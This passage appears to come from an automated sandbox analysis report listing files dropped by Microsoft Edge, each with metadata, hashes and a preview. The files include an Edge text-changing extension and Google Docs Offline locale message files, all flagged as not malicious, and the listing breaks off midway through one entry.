Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1952_1532278944\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1952_1532278944\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_1532278944\b0f1e6c9-2651-445f-9f2b-d63470018e57.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\422f614c-1c66-4e02-9848-dc5c7b5186b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
